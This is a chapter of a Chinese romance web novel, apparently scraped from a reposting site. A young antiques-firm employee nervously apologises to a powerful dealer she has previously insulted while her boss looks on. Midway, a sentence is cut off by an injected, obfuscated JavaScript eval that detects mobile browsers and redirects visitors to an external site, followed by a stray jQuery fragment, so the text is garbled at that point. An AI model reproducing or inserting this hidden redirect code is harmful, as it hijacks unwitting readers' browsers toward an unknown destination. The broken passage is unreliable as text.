望着眼前这张熟悉的面孔,初夏天气不冷不热,可柏桃竹的手脚却不可避免地发凉变僵,心头为之轻颤。
过往回忆如走马灯般在她眼前闪过,她觉得人死前大概也是自己现在的状态了吧。
第一次碰面,她就在不远的另一条街上与他针锋相对,暗示他卖假货。
第二次碰面,她奉劝他身边的女友不要被渣男蒙蔽双眼,还觉得人家恋爱脑上头。
第三次碰面,他给她指出自己博物馆实习生讲解时的错误,她不以为然、嗤之以鼻。
第四次碰面,她告诉人家要走正道,还在最后离开时说他无可救药……
现在想想,当初他在那个咖啡馆相亲时说的话,竟没有一句是假的。
人家家里公司确实有几十万平米,还是平房。
——后半句也许不够准确,毕竟定锋许多展馆是有多层的。
但这重要吗?不重要。
重要的是她很可能又要搞砸自己这份工作了。
见柏桃竹苍白着脸不说话,方得韬眉目蹙起,轻咳一声。
柏桃竹猛地回过神来,一抬眼璩一清似笑非笑的表情便闯进她的眼睛。
“……璩老师,您好。”手脚冰凉到想发抖,柏桃竹努力控制住。她本来准备了好几句话,这下一个多余的字也说不出来了。
说什么?
初次见面,久仰您的大名,见到您是我的荣幸?
……
柏桃竹鼓起勇气看着璩一清的脸,像是死刑犯等待总后的裁决。
欣赏了好一会儿这姑娘的变脸大戏,璩一清好整以暇地理了理衣摆,悠悠道:“你好,柏……小姐。”
那三个字仿佛在他唇齿间过了一遍,随着些笑意缓缓泄出,几不可闻,同时男人眸底的颜色深地看不见。
察觉到两人之间氛围怪异,方得韬微不可见地看了眼柏桃竹,朝她递出一个询问的表情。
柏桃竹根本没顾上接收这道信息,她看得出璩一清脸上的玩味,也知道对方绝不可能这么放过她。
既然事态已经无法挽回,她只能在真诚道歉后任由对方处置了。
如果他觉得不想看见自己,她便主动离开,最差的结果就是在方得韬知道事情原委后将她开除。
“璩老师对……”
只是柏桃竹话刚出口,璩一清像是没听见般打断了她。他做了个“请”的手势,一边邀请两人落座,一边喊了外面的伙计看茶。
——很忙的样子。
方得韬只当没听见柏桃竹说了一半的话,在璩一清的下首位坐下。
柏桃竹左右为难不知道该不该坐。
见那姑娘身上的无措都快溢出来,璩一清抖落了下长衫,终于笑着问道:“柏小姐怎么不坐?是不爱坐木头椅子吗?”
“没有的。”
柏桃竹慌慌张张挨着方得韬坐下,来之前方得韬就和她提过璩一清的豪横,他在店里的会客室都摆了一套御制黄花梨家具,总共价值高达九位数。
这样的椅子她哪敢嫌弃?
把她卖了都不值这么多钱。
只是这么一打断,刚酝酿出的勇气也没了。
见她坐下,璩一清眼露满意。
伙计适时将茶端了上来,看到给自己上茶的人,柏桃竹又是心尖一颤。
是上次她来买印泥时,给她东西验货的那个伙计。
她不确定对方有没有认出来她,只能不安地示以微笑。
方得韬刮了刮茶沫,嗅香后认真品尝,旋即对璩一清露出赞叹的神情:“老沱茶?今年开春后还没来过您这儿,来之前我就知道准能喝到好东西。”
“普普通通。”
璩一清笑着晃了晃手边的蒲扇,这个季节用蒲扇已经不再怪异,那把熟悉的扇子在柏桃竹看来就是悬在她头上半天不落的刀。
面对方得韬的赞叹,璩一清笑了笑,旋即将头转向柏桃竹,随口一问:“柏小姐对这茶还满意吗?”
柏桃竹哪懂什么茶,她倒是知道班章产茶,再多的闻起来都大差不差了。
但璩一清已经开口问了,她只能抿了口茶水,夸道:“是好茶。”
瞧见她憋憋屈屈的样子,璩一清脸上笑意更甚,转而对方得韬道:“上次在壹曏就是她吧,怎么,这是把人收到手底下护着了?”
壹曏?
柏桃竹唯一能对应的起来的就是过完年她跟文若颖她们去的那次,晚些时候方得韬送了他们回学校,她也是那次才和方得韬联系上的。
难道那天璩一清也在吗。
方得韬的回答解开了她的疑问。
“是她,我看这姑娘机灵,从徐利那骗来的。是个好苗子,好好培养一下大有可为。”方得韬笑答。
闻言,璩一清眸中闪过一抹深色。
“颐高认识的?”
“算是,”方得韬道:“她负责给我接过机。”
方得韬随意将两人第一次见面的真相盖过,只说了最表象的事实。
柏桃竹再一次对他感到抱歉,方总对她这么好,她却已经得罪了他的大客户。
璩一清彻底明白了在停车场那次,她朋友说的两人一起在机场是怎么回事儿。
当时同行的人还猜测是两人是一同出去旅游了。
“挺好,”璩一清像是随便聊聊,垂头抿了口茶,喊来伙计:“下壶换班章孔雀。”
伙计爽快应声下去了,方得韬却目露惊讶。
璩一清这儿就没次品,绝对选的都是顶尖品牌的好货。茶叶这东西很多情况下都是有价无市,可班章孔雀绝对是受茶客追捧的高档货。
而且请两壶茶,这是可以多聊的意思啊。
方得韬笑了。
喜悦稍纵即逝,他立刻顺着当下的话题跟璩一清聊起来今年茶博会上的一些好茶。
两个男人聊的起兴,可柏桃竹却坐立难安。
她只能用喝茶掩饰自己的尴尬,不一会儿就喝空了杯子。
伙计很有眼色,她杯子一空就给她添,没多久便混了个水饱。
当话题从茶叶改为名酒时,方得韬手机铃声响起,他看了眼来电显示,抱歉地给璩一清说了声:“不好意思璩老师,接个电话。”
璩一清浑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438696|169328||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不在意,摆摆手。
方得韬出去了,走之前,他给柏桃竹使了个眼色。
柏桃竹懂得,方总让她陪好璩一清。
可她……
待方得韬彻底走了出去,室内重新归于平静。
揪着手指思量再三,柏桃竹重新鼓起勇气,抬起小脸看向正垂眉查看手机的璩一清。
“璩老师……”
好像是就等着她开口,璩一清立刻从手机屏幕上挪开视线,聚焦在柏桃竹身上。
他乌黑的瞳仁像深不见底夜空,藏起所有情绪与想法,只剩读不懂的深意。
“嗯?”
柏桃竹深呼吸一口气,下嘴唇在齿间滚了一圈:“璩老师,对不起!”
她“唰”地站起身,向璩一清深深鞠了一躬。
“之前是我有眼不识泰山,还希望您能原谅我,对不起,真的对不起。”
她尽量将每一个字都说的掷地有声诚恳无比,恨不得能两指合拢对天发誓以证明她的道歉是真心实意。
室内一片寂静。
柏桃竹今天穿了件浅绿色的针织马甲,原本是朝气蓬勃的,可现在看起来像把蔫了的草。
盯着小姑娘头顶的发漩,璩一清眸子里的情绪转来转去,手肘托在了椅把上,懒懒撑起额头。
那晚在酒吧,她确实给他了不少尴尬,她走之前扔下的那句话他信她自己也记得,不然今天不至于这么惊慌失措。
之前每次分开就没想过什么时候能再见面,也没想过两人会有如今的处境关系。
要大人不记小人过吗?
要宰相肚里能撑船吗?
柏桃竹依然深深鞠着躬,柔软的长发顺着她的后脑勺由两侧分开,荡起弧度,像把小刷子微微晃动。
良久,璩一清终于放下了手里的蒲扇,面目平淡,嘴角半敛:“你哪里错了,何必道歉。我又不是□□,当然没自信到要人人都认识我。”
“您说笑了,”柏桃竹缓缓直起身,脸上的血色逐渐褪下,轻声道:“在这行不认识您就是不应该的,是我见识太少。”
从第一次注意到她,一直到现在,这姑娘的嘴巴就没这么甜过。
璩一清不由抬眉。
柏桃竹继续道:“我知道您一定不想看见我,等下方总来我就会和他说有事先走,以后绝不出现在您眼前。如果您还不满意,我也可以从琉宝斋辞职……总之方总不知道我先前对您的冒犯,还请您不要迁怒。先前的事,我真的很抱歉,很后悔。”
璩一清听着听着就笑了。
接着他迅速敛起笑意,淡淡道:“你一个新人,撇下客户和领导自己先走,你觉得合适吗?”
柏桃竹还想说点什么,这时方得韬从外面走了进来:“不好意思啊璩老师,时间有点久了。”
一进门,看柏桃竹站在那里,他诧异问道:“小柏,站这儿干嘛呢?”
柏桃竹刚想开口,璩一清抢在她前面打断道:“你这小姑娘挺有意思,刚说不知道聊什么,说不然给我跳个舞。
“方总,你知道我不是某些有恶趣味的人,可千万别误会啊。”